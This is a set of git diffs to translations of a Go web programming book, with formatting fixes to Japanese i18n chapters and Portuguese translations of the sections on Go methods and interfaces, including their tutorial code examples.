`$GOROOT/lib/time`パッケージのtimeinfo.zipにはlocaleに対応するタイムゾーンの定義が含まれています。対応する現在のlocaleの時間を取得するためには、まず`time.LoadLocation(name string)`を使用して対応するタイムゾーンのlocaleを取得します。例えば`Asia/Shanghai`または`America/Chicago`に対応するタイムゾーンデータです。その後、この情報を再利用し、`time.Now`をコールすることにより得られるTimeオブジェクトとあわせて最終的な時間を取得します。詳細は以下の例をご覧ください(この例では上のいくつかの変数を採用しています):
en["time_zone"]="America/Chicago"
cn["time_zone"]="Asia/Tokyo"
@@ -115,7 +115,7 @@ Localeの違いによってビューを表示させる場合もあるかもし
VV.Lang=lang
s1.Execute(os.Stdout, VV)
またindex.tplの中リソースの設定は以下のとおりです
また`index.tpl`の中リソースの設定は以下のとおりです:
// jsファイル
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>

View File

@@ -2,7 +2,7 @@
# 10.3 国際化サイト
前の節でどのようにしてローカライズリソースを処理するかご紹介しました。Localeに対応した設定ファイルです。ではもし複数のローカライズリソースを処理する場合はいくつかの我々が通常使用する例は簡単なテキスト翻訳、時間や日時、数字といったものはどのように処理するのでしょうかこの節では一つ一つこれらの問題を解決していきます。
## 複数のロケールパッケージの管理
アプリケーションをひとつ開発する時、まず決めなければならないのは、一つの言語だけをサポートすればよいのか、それとも多言語をサポートするのかということです。もし複数の言語のサポートする必要があれば、ある組織構成を作成することで、将来より多くの言語を追加できるようにしなければなりません。ここでは以下のように設計しますLocaleに関係のあるファイルをconfig/localesの下に配置し、もし日本語と英語をサポートしなければならない場合は、このディレクトリの下にen.jsonとja.jsonを配置する必要があります。だいたいの内容は以下の通り
アプリケーションをひとつ開発する時、まず決めなければならないのは、一つの言語だけをサポートすればよいのか、それとも多言語をサポートするのかということです。もし複数の言語のサポートする必要があれば、ある組織構成を作成することで、将来より多くの言語を追加できるようにしなければなりません。ここでは以下のように設計しますLocaleに関係のあるファイルを`config/locales`の下に配置し、もし日本語と英語をサポートしなければならない場合は、このディレクトリの下にen.jsonとja.jsonを配置する必要があります。だいたいの内容は以下の通り
# ja.json
@@ -22,7 +22,7 @@
}
}
国際化をサポートするにあたって、ここでは国際化に関連したパッケージを使用することにします- - [go-i18n](https://github.com/astaxie/go-i18n)です。まずgo-i18nパッケージにconfig/localesのディレクトリを登録することで、すべてのlocaleファイルをロードします。
国際化をサポートするにあたって、ここでは国際化に関連したパッケージを使用することにします- - [go-i18n](https://github.com/astaxie/go-i18n)です。まずgo-i18nパッケージに`config/locales`のディレクトリを登録することで、すべてのlocaleファイルをロードします。
Tr:=i18n.NewLocale()
Tr.LoadPath("config/locales")

View File

@@ -1,5 +1,5 @@
# 10.4 まとめ
この章の紹介を通じて、読者はどのようにしてi18nを操作するかに対して深く理解が得られたはずです。私もこの章の内容にもとづいてオープンソースのソリューションであるgo-i18nをご紹介しましたhttps://github.com/astaxie/go-i18n このオープンソースライブラリを通して多言語バージョンのWebアプリケーションを非常に簡単に実現することができ、我々のアプリケーションに気楽に国際化を実現させることができます。もしこのオープンソースライブラリに間違いや足りない部分があれば、ぜひこのオープンソースプロジェクトに参加することで、このライブラリがGoの標準ライブラリになるよう手助けしてください。
この章の紹介を通じて、読者はどのようにしてi18nを操作するかに対して深く理解が得られたはずです。私もこの章の内容にもとづいてオープンソースのソリューションであるgo-i18nをご紹介しました`https://github.com/astaxie/go-i18n` このオープンソースライブラリを通して多言語バージョンのWebアプリケーションを非常に簡単に実現することができ、我々のアプリケーションに気楽に国際化を実現させることができます。もしこのオープンソースライブラリに間違いや足りない部分があれば、ぜひこのオープンソースプロジェクトに参加することで、このライブラリがGoの標準ライブラリになるよう手助けしてください。
## links
* [目次](<preface.md>)
* 前へ: [国際化サイト](<10.3.md>)

View File

@@ -17,4 +17,4 @@ Nesse capitulo, vamos aprender a instalar e configurar nosso próprio ambiente d
## Links
- [Sumário](preface.md)
- Próxima sessão: [Instalação](01.1.md)
- Próxima seção: [Instalação](01.1.md)

View File

@@ -123,5 +123,5 @@ Homebrew é o gerenciador de pacotes para MAC, para instalar o Go rode o comando
## Links
- [Sumário](preface.md)
- Sessão anterior: [Configuração do ambiente de desenvolvimento](01.0.md)
- Próxima sessão: [$GOPATH e Workspace](01.2.md)
- Seção anterior: [Configuração do ambiente de desenvolvimento](01.0.md)
- Próxima seção: [$GOPATH e Workspace](01.2.md)

View File

@@ -90,7 +90,7 @@ Para compilar nossa aplicação, deveremos alterar o código fonte de diretório
## Instalando pacotes remotamente
Go possui uma ferramente para utilizar pacotes remotos, chamada `go get`. Ela é suportada por grandes comunidades de código aberto, incluindo: Github, Google Code, Bitbucket e Launchpad.
Go possui uma ferramenta para utilizar pacotes remotos, chamada `go get`. Ela é suportada por grandes comunidades de código aberto, incluindo: Github, Google Code, Bitbucket e Launchpad.
go get github.com/astaxie/beedb
@@ -148,5 +148,5 @@ Agora que esclarecemos como Go gerencia dependencias e código fonte, vamos reca
## Links
- [Sumário](preface.md)
- Sessão anterior: [Instalação](01.1.md)
- Próxima sessão: [Comandos em Go](01.3.md)
- Seção anterior: [Instalação](01.1.md)
- Próxima seção: [Comandos em Go](01.3.md)

View File

@@ -104,5 +104,5 @@ Mesmo sobre os comandos explicados até aqui, existem vários outros detalhes qu
## Links
- [Sumário](preface.md)
- Sessão anterior: [$GOPATH e Workspace](01.2.md)
- Próxima sessão: [Ferramentas de desenvolvimento Go](01.4.md)
- Seção anterior: [$GOPATH e Workspace](01.2.md)
- Próxima seção: [Ferramentas de desenvolvimento Go](01.4.md)

View File

@@ -396,5 +396,5 @@ As pessoas que trabalham com Java tem familiaridade com este IDE. Ela também su
## Links
- [Sumário](preface.md)
- Sessão anterior: [Comandos Go](01.3.md)
- Próxima sessão: [Resumo](01.5.md)
- Seção anterior: [Comandos Go](01.3.md)
- Próxima seção: [Resumo](01.5.md)

View File

@@ -7,5 +7,5 @@ Finalmente, foram apresentadas diversas ferramentas poderosas para o desenvolvim
## Links
- [Sumário](preface.md)
- Sessão anterior: [Ferramentas para desenvolvimento Go](01.4.md)
- Próxima sessão: [Conhecimento básico de Go](02.0.md)
- Seção anterior: [Ferramentas para desenvolvimento Go](01.4.md)
- Próxima seção: [Conhecimento básico de Go](02.0.md)

View File

@@ -1,6 +1,6 @@
# 2 Conhecimento básico de Go
Go é uma linguagem de programação compilada e pertence a família da lingaugem C. Contudo, seu tempo de compilação é muito mais rápido do que outras linguagens da mesma família. Ela possui apenas 25 palavras-chave (palavras reservadas)...um número menor que as 26 letras do alfabeto inglês! (N. do T.: O alfabeto português oficialmente também possui 26 letras) Vamos dar uma olhada nessas palavras antes de começar.
Go é uma linguagem de programação compilada e pertence a família da linguagem C. Contudo, seu tempo de compilação é muito mais rápido do que outras linguagens da mesma família. Ela possui apenas 25 palavras-chave (palavras reservadas)...um número menor que as 26 letras do alfabeto inglês! (N. do T.: O alfabeto português oficialmente também possui 26 letras) Vamos dar uma olhada nessas palavras antes de começar.
break default func interface select
case defer go map struct
@@ -13,5 +13,5 @@ Neste capítulo, vou ensinar o básico de Go. Você irá perceber o quanto ela
## Links
- [Sumário](preface.md)
- Sessão anterior: [Resumo do Capítulo 1](01.5.md)
- Próxima sessão: ["Hello, Go"](02.1.md)
- Seção anterior: [Resumo do Capítulo 1](01.5.md)
- Próxima seção: ["Hello, Go"](02.1.md)

View File

@@ -49,5 +49,5 @@ Go usa pacotes (semelhantes aos módulos em Python) para organizar os programas.
## Links
- [Sumário](preface.md)
- Sessão anterior: [Conhecimento básico de Go](02.0.md)
- Próxima sessão: [Fundamentos Go](02.2.md)
- Seção anterior: [Conhecimento básico de Go](02.0.md)
- Próxima seção: [Fundamentos Go](02.2.md)

View File

@@ -1,10 +1,10 @@
# Object-oriented
# Orientação a Objetos
We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of function that has a receiver, which is called `method`.
Falamos sobre funções e estruturas nas duas últimas seções, mas você já considerou usar funções como campos de uma estrutura? Nesta seção, vou apresentá-lo a outra forma de função que possui um receptor, que é chamado `method` (método).
## method
Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal.
Suponha que você definiu uma estrutura "rectangle" (retângulo) e quer calcular a sua área. Geralmente, usamos o seguinte código para atingir esse objetivo.
package main
import "fmt"
@@ -23,30 +23,30 @@ Suppose you define a "rectangle" struct and you want to calculate its area. We'd
fmt.Println("Area of r1 is: ", area(r1))
fmt.Println("Area of r2 is: ", area(r2))
}
The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice.
It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names.
O exemplo acima pode calcular a área de um retângulo. Usamos a função chamada `area`, mas ela não é um método da estrutura rectangle (como métodos de classe em linguagens orientadas a objetos clássicas). A função e a estrutura são duas coisas independentes, como você pode notar.
Isto não é um problema. Entretanto, se você também tem que calcular a área de um circulo, quadrado, pentágono ou qualquer outro tipo de forma, você vai precisar adicionar funções adicionais com nomes muito semelhantes.
![](images/2.5.rect_func_without_receiver.png?raw=true)
Figure 2.8 Relationship between function and struct
Figure 2.8 Relacionamento entre funções e estruturas
Obviously that's not cool. Also, the area should really be the property of a circle or rectangle.
Evidentemente, isso não é legal. Além disso, a área deve realmente ser a propriedade de um círculo ou retângulo.
For those reasons, we have the `method` concept. `method` is affiliated with type. It has the same syntax as functions do except for an additional parameter after the `func` keyword called the `receiver`, which is the main body of that method.
Por estas razões, temos o conceito de `method`. `method` é afiliado ao tipo. Ele possui a mesma sintaxe que as funções, exceto por um parâmetro adicional após a palavra-chave `func` chamada `receiver` (receptor), que é o corpo principal desse método.
Using the same example, `Rectangle.area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `area()` all belong to rectangle.
Usando o mesmo exemplo, `Rectangle.area()` pertence diretamente ao rectangle, em vez de ser uma função periférica. Mais especificamente, `length`, `width` e `area()` pertencem ao rectangle.
As Rob Pike said.
Como Rob Pike disse.
"A method is a function with an implicit first argument, called a receiver."
Syntax of method.
"Um método é um função com um primeiro argumento implícito, chamado receptor."
Sintaxe do método.
func (r ReceiverType) funcName(parameters) (results)
Let's change our example using `method` instead.
Vamos mudar nosso exemplo usando `method` em vez disso.
package main
import (
@@ -81,28 +81,28 @@ Let's change our example using `method` instead.
fmt.Println("Area of c1 is: ", c1.area())
fmt.Println("Area of c2 is: ", c2.area())
}
Notes for using methods.
- If the name of methods are the same but they don't share the same receivers, they are not the same.
- Methods are able to access fields within receivers.
- Use `.` to call a method in the struct, the same way fields are called.
Notas para o uso de métodos.
- Se os nomes dos métodos são os mesmos, mas eles não compartilham os mesmos receptores, eles não são os mesmos método.
- Métodos são capazes de acessar campos dentro de receptores.
- Use `.` para chamar um método na estrutura, da mesma forma que os campos são chamados.
![](images/2.5.shapes_func_with_receiver_cp.png?raw=true)
Figure 2.9 Methods are different in different structs
Figure 2.9 Métodos são diferentes em diferentes estruturas
In the example above, the area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle.
No exemplo acima, os métodos area() pertencem ao Rectangle e ao Circle respectivamente, então os receptores são Rectangle e Circle.
One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver's values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value.
Um ponto que vale notar é que o método com a linha pontilhada significa que o receptor é passado por valor, não por referência. A diferença entre eles é que um método pode mudar os valores do seu receptor quando o receptor é passado por referência, e outro recebe uma cópia do receptor quando o receptor é passado por valor.
Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types.
O receptor só pode ser uma estrutura? Claro que não. Qualquer tipo pode ser o receptor de um método. Você pode estar confuso sobre tipos customizados. Estrutura é um tipo especial de tipo customizado -há mais tipos customizado.
Use the following format to define a customized type.
Use o seguinte formato para definir um tipo customizado.
type typeName typeLiteral
Examples of customized types:
Exemplos de tipos customizados:
type ages int
@@ -116,12 +116,12 @@ Examples of customized types:
...
"December":31,
}
I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example.
Let's get back to talking about `method`.
Espero que você saiba usar tipos customizados agora. Semelhante ao `typedef` em C, usamos `ages` para substituir `int` no exemplo acima.
You can use as many methods in custom types as you want.
Vamos voltar a falar sobre `method`.
Você pode usar quantos métodos quiser em tipos customizados.
package main
import "fmt"
@@ -141,7 +141,7 @@ You can use as many methods in custom types as you want.
color Color
}
type BoxList []Box //a slice of boxes
type BoxList []Box //uma slice de caixas
func (b Box) Volume() float64 {
return b.width * b.height * b.depth
@@ -195,36 +195,36 @@ You can use as many methods in custom types as you want.
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
}
We define some constants and customized types.
- Use `Color` as alias of `byte`.
- Define a struct `Box` which has fields height, width, length and color.
- Define a struct `BoxList` which has `Box` as its field.
Definimos algumas constantes e tipos customizados.
Then we defined some methods for our customized types.
- Usamos `Color` como apelido para `byte`.
- Definimos uma estrutura `Box` que tem os campos height (altura), width (largura), length (comprimento) e color (cor).
- Definimos uma estrutura `BoxList` que tem `Box` como seu campo.
- Volume() uses Box as its receiver and returns volume of Box.
- SetColor(c Color) changes Box's color.
- BiggestsColor() returns the color which has the biggest volume.
- PaintItBlack() sets color for all Box in BoxList to black.
- String() use Color as its receiver, returns the string format of color name.
Então, definimos alguns métodos para os nossos tipos customizados.
Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding.
- Volume() usa Box como seu receptor e retorna o volume de Box.
- SetColor(c Color) muda a cor de Box.
- BiggestsColor() retorna a cor que possui o maior volume.
- PaintItBlack() define as cores das Box em BoxList para preto.
- String() usa Color como seu receptor e retorna a palavra formatada do nome da cor.
### Use pointer as receiver
É muito mais claro quando usamos palavras para descrever nosso requisitos? Frequentemente escrevemos nossos requisitos antes de começar a programar.
Let's take a look at `SetColor` method. Its receiver is a pointer of Box. Yes, you can use `*Box` as a receiver. Why do we use a pointer here? Because we want to change Box's color in this method. Thus, if we don't use a pointer, it will only change the value inside a copy of Box.
### Usando ponteiro como receptor
If we see that a receiver is the first argument of a method, it's not hard to understand how it works.
Vamos dar uma olhada no método `SetColor`. Seu receptor é um ponteiro de Box. Sim, você pode usar `*Box` como um receptor. Por que usamos um ponteiro aqui? Porque queremos mudar as cores de Box neste método. Assim, se não usarmos um ponteiro, ele só mudará o valor dentro de um cópia de Box.
You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the SetColor() method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now?
Se vemos que um receptor é o primeiro argumento de um método, não é difícil entender como ele funciona.
You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. Again, either one is OK because Go knows how to interpret it!
Você deve estar perguntando por que não estamos usando `(*b).Color=c` em vez de `b.Color=c` no método SetColor(). Qualquer um está OK aqui porque GO sabe como interpretar a atribuição. Você acha que Go é mais fascinante agora?
### Inheritance of method
Você também deve estar se perguntando se devemos usar `(&bl[i]).SetColor(BLACK)` em `PaintItBlack` porque passamos um ponteiro para `SetColor`. Novamente, qualquer um está OK porque Go sabe como interpretá-lo!
We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well.
### Herança do Método
Aprendemos sobre herança de campos na última seção. Similarmente, também temos herança de método em Go. Se um campo anônimo tiver métodos, então a estrutura que contém o campo terá todos os métodos dele também.
package main
import "fmt"
@@ -236,16 +236,16 @@ We learned about inheritance of fields in the last section. Similarly, we also h
}
type Student struct {
Human // anonymous field
Human // campo anônimo
school string
}
type Employee struct {
Human
Human
company string
}
// define a method in Human
// define um método em Human
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
@@ -258,9 +258,9 @@ We learned about inheritance of fields in the last section. Similarly, we also h
sam.SayHi()
}
### Method overload
### Sobrecarga de Método
If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it.
Se quisermos que Employee tenha seu próprio método `SayHi`, podemos definir um método com o mesmo nome em Employee, e ele irá sobrescrever `SayHi` em Human quando nós o chamarmos.
package main
import "fmt"
@@ -272,12 +272,12 @@ If we want Employee to have its own method `SayHi`, we can define a method that
}
type Student struct {
Human
Human
school string
}
type Employee struct {
Human
Human
company string
}
@@ -287,7 +287,7 @@ If we want Employee to have its own method `SayHi`, we can define a method that
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
e.company, e.phone) //Sim, você pode dividir em 2 linhas aqui.
}
func main() {
@@ -297,11 +297,11 @@ If we want Employee to have its own method `SayHi`, we can define a method that
mark.SayHi()
sam.SayHi()
}
You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well.
Você é capaz de escrever um programa Orientado a Objetos agora, e os métodos usam a regra de capital letter (letra maiúscula) para decidir se é público ou privado também.
## Links
- [Directory](preface.md)
- Previous section: [struct](02.4.md)
- Next section: [interface](02.6.md)
- [Sumário](preface.md)
- Seção Anterior: [Estrutura](02.4.md)
- Próxima Seção: [Interface](02.6.md)

View File

@@ -2,23 +2,23 @@
## Interface
One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation.
Uma das características de projeto mais sutil em Go são interfaces. Depois de ler esta seção, você provavelmente ficará impressionado com sua implementação.
### What is an interface
### O que é uma interface
In short, an interface is a set of methods that we use to define a set of actions.
Resumidamente, uma interface é um conjunto de métodos que usamos para definir um conjunto de ações.
Like the examples in previous sections, both Student and Employee can `SayHi()`, but they don't do the same thing.
Como os exemplos nas seções anteriores, tanto Student (Estudante) quanto Employee (Empregado) podem `SayHi()` (DigaOi()), mas não fazem a mesma coisa.
Let's do some more work. We'll add one more method `Sing()` to them, along with the `BorrowMoney()` method to Student and the `SpendSalary()` method to Employee.
Vamos fazer mais trabalho. Vamos adicionar mais um método `Sing()` (Cantar()) para eles, juntamente com o método `BorrowMoney()` (EmprestarDinheiro()) para Student e `SpendSalary()` (GastarSalario()) para Employee.
Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`.
Agora, Student tem três métodos chamados `SayHi()`, `Sing()` e `BorrowMoney()`, e Employee tem `SayHi()`, `Sing()` e `SpendSalary()`.
This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`.
Esta combinação de métodos é chamada de interface e é implementada por ambos Student e Employee. Então, Student e Employee implementam a interface: `SayHi()` e `Sing()`. Ao mesmo tempo, Employee não implementa a interface: `SayHi()`, `Sing()`, `BorrowMoney()`, e Student não implementa a interface: `SayHi()`, `Sing()`, `SpendSalary()`. Isso ocorre porque Employee não tem o método `BorrowMoney()` e Student não tem o método `SpendSalary()`.
### Type of Interface
### Tipo de Interface
An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface.
Uma interface define um conjunto de métodos, portanto, se um tipo implementa todos os métodos, dizemos que ele implementa a interface.
type Human struct {
name string
@@ -50,18 +50,18 @@ An interface defines a set of methods, so if a type implements all the methods w
fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}
// Employee overloads Sayhi
// Employee sobrecarrega Sayhi
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
e.company, e.phone) // Sim, você pode dividir em 2 linhas aqui.
}
func (s *Student) BorrowMoney(amount float32) {
s.loan += amount // (again and again and...)
s.loan += amount // (novamente e novamente e...)
}
func (e *Employee) SpendSalary(amount float32) {
e.money -= amount // More vodka please!!! Get me through the day!
e.money -= amount // Mais vodka por favor!!! Para aguentar o dia! (More vodka please!!! Get me through the day!)
}
// define interface
@@ -83,117 +83,117 @@ An interface defines a set of methods, so if a type implements all the methods w
SpendSalary(amount float32)
}
We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously.
Sabemos que uma interface pode ser implementada por qualquer tipo, e um tipo pode implementar muitas interfaces simultaneamente.
Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default.
Observe que qualquer tipo implementa a interface vazia `interface{}` porque ela não tem nenhum método e todos os tipos possuem zero métodos por padrão.
### Value of interface
### Valor da interface
So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable.
Então, que tipo de valores podem ser colocados na interface? Se definirmos uma variável como uma interface de tipo, qualquer tipo que implemente a interface pode ser atribuído a essa variável.
Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types.
Como no exemplo acima, se definirmos uma variável "m" como interface Men, então qualquer Student, Human ou Employee pode ser atribuído a "m". Então nós poderíamos ter um slice de Men, e qualquer tipo que implemente a interface Men pode atribuir a este slice. Lembre-se no entanto que o slice da interface não tem o mesmo comportamento de uma slice de outros tipos.
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human
school string
loan float32
}
type Employee struct {
Human
company string
money float32
}
func (h Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func (h Human) Sing(lyrics string) {
fmt.Println("La la la la...", lyrics)
}
func (e Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
e.company, e.phone) // Sim, você pode dividir em 2 linhas aqui.
}
// Interface Men implemented by Human, Student and Employee
// Interface Men implementada por Human, Student e Employee
type Men interface {
SayHi()
Sing(lyrics string)
}
func main() {
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}
// define interface i
var i Men
//i can store Student
// posso armazenar Student
i = mike
fmt.Println("This is Mike, a Student:")
i.SayHi()
i.Sing("November rain")
//i can store Employee
// posso armazenar Employee
i = tom
fmt.Println("This is Tom, an Employee:")
i.SayHi()
i.Sing("Born to be wild")
// slice of Men
// slice de Men
fmt.Println("Let's use a slice of Men and see what happens")
x := make([]Men, 3)
// these three elements are different types but they all implemented interface Men
// Estes três elementos são de tipos diferentes, mas todos eles implementam a interface Men
x[0], x[1], x[2] = paul, sam, mike
for _, value := range x {
value.SayHi()
}
}
An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself.
### Empty interface
Uma interface é um conjunto de métodos abstratos, e pode ser implementada por tipos não interface. Não pode, portanto, implementar-se.
An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C.
### Interface vazia
// define a as empty interface
Uma interface vazia é uma interface que não contém nenhum método, portanto, todos os tipos implementam uma interface vazia. Esse fato é muito útil quando queremos armazenar todos os tipos em algum momento, e é semelhante ao void* em C.
// define a como interface vazia
var a interface{}
var i int = 5
s := "Hello world"
// a can store value of any type
// a pode armazenar valor de qualquer tipo
a = i
a = s
If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type.
Se uma função usa uma interface vazia como seu tipo de argumento, ela pode aceitar qualquer tipo; Se uma função usa a interface vazia como seu tipo de valor de retorno, ela pode retorna qualquer tipo.
### Method arguments of an interface
### Argumentos de métodos de uma interface
Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function?
Qualquer variável pode ser usada em uma interface. Então, como podemos usar esse recurso para passar qualquer tipo de variável para uma função?
For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition.
Por exemplo, usamos muito fmt.Println, mas você já notou que ele pode aceitar qualquer tipo de argumento? Olhando para o código aberto de fmt, vemos a seguinte definição.
type Stringer interface {
String() string
}
This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it.
Isso significa que qualquer tipo que implemente a interface Stringer pode ser passada para fmt.Println como um argumento. Vamos provar isso.
package main
@@ -208,7 +208,7 @@ This means any type that implements interface Stringer can be passed to fmt.Prin
phone string
}
// Human implemented fmt.Stringer
// Human implementa fmt.Stringer
func (h Human) String() string {
return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone
}
@@ -218,51 +218,51 @@ This means any type that implements interface Stringer can be passed to fmt.Prin
fmt.Println("This Human is : ", Bob)
}
Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format.
Olhando para o exemplo anterior de Box (Caixa), você verá que Color (Cor) implementa a interface Stringer também, assim que somos capazes de personalizar o formato de impressão. Se não implementarmos essa interface, fmt.Println imprime o tipo com seu formato padrão.
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("The biggest one is", boxes.BiggestsColor())
Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point.
### Type of variable in an interface
Atenção: Se o tipo implementa a interface `error`, fmt chamará `error()`, então você não tem que implementar Stringer neste momento.
If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you.
### Tipo de variável em uma interface
- Assertion of Comma-ok pattern
Se uma variável é o tipo que implementa uma interface, sabemos que qualquer outro tipo que implementa a mesma interface pode ser atribuído a essa variável. A questão é como podemos saber o tipo específico armazenado na interface. Há duas maneiras que vou lhe mostrar.
Go has the syntax `value, ok := element.(T)`. This checks to see if the variable is the type that we expect, where "value" is the value of the variable, "ok" is a variable of boolean type, "element" is the interface variable and the T is the type of assertion.
- Declaração do padrão Comma-ok (Vírgula-ok)
If the element is the type that we expect, ok will be true, false otherwise.
Go possui a sintaxe `value, ok := element.(T)`. Isso verifica se a variável é o tipo que esperamos, onde "value" (valor) é o valor da variável, "ok" é uma variável de tipo booleano, "element" (elemento) é a variável da interface e T é o tipo da declaração.
Let's use an example to see more clearly.
Se o elemento é o tipo que esperamos, ok será verdadeiro, e falso caso contrário.
Vamos usar um exemplo para ver mais claramente.
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List []Element
type Person struct {
name string
age int
}
func (p Person) String() string {
return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 // an int
list[1] = "Hello" // a string
list[0] = 1 // um int (inteiro)
list[1] = "Hello" // uma string (cadeia de caracteres)
list[2] = Person{"Dennis", 70}
for index, element := range list {
if value, ok := element.(int); ok {
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
@@ -276,37 +276,37 @@ Let's use an example to see more clearly.
}
}
It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`.
É muito fácil usar esse padrão, mas se tivermos muitos tipos para testar, é melhor usar `switch`.
- switch test
- teste de comutação (switch test)
Vamos usar `switch` para reescrever o exemplo acima.
Let's use `switch` to rewrite the above example.
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List []Element
type Person struct {
name string
age int
}
func (p Person) String() string {
return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 //an int
list[1] = "Hello" //a string
list[0] = 1 // um int (inteiro)
list[1] = "Hello" // uma string (cadeia de caracteres)
list[2] = Person{"Dennis", 70}
for index, element := range list {
switch value := element.(type) {
case int:
@@ -321,75 +321,75 @@ Let's use `switch` to rewrite the above example.
}
}
One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern .
### Embedded interfaces
Uma coisa que você deve lembrar é que `element.(type)` não pode ser usado fora do corpo do `switch`, o que significa que nesse caso você tem que usar o padrão `comma-ok`.
The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will have as if it has all the methods that the embedded interface has.
### Interfaces incorporadas (embedded interfaces)
We can see that the source file in `container/heap` has the following definition:
A coisa mais bonita é que Go tem várias sintaxes lógicas incorporadas, como campos anônimos em estruturas. Não supreendentemente, podemos usar interfaces como campos anônimos também, mas chamamos-lhes de `Embedded interfaces` (interfaces incorporadas). Aqui, seguimos as mesmas regras que campos anônimos. Mais especificamente, se uma interface tiver outra interface incorporada no seu interior, isso será como se ela possuísse todos os métodos que a interface incorporada tem.
Podemos ver que o arquivo fonte em `container/heap` tem a seguinte definição:
type Interface interface {
sort.Interface // embedded sort.Interface
Push(x interface{}) //a Push method to push elements into the heap
Pop() interface{} //a Pop elements that pops elements from the heap
sort.Interface // sort.Interface incorporado
Push(x interface{}) // um método Push para empurrar elementos para a pilha
Pop() interface{} // um método Pop para remover elementos da pilha
}
We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly.
Vemos que `sort.Interface` é uma interface incorporada, então a interface acima tem os três métodos contidos em `sort.Interface` implicitamente.
type Interface interface {
// Len is the number of elements in the collection.
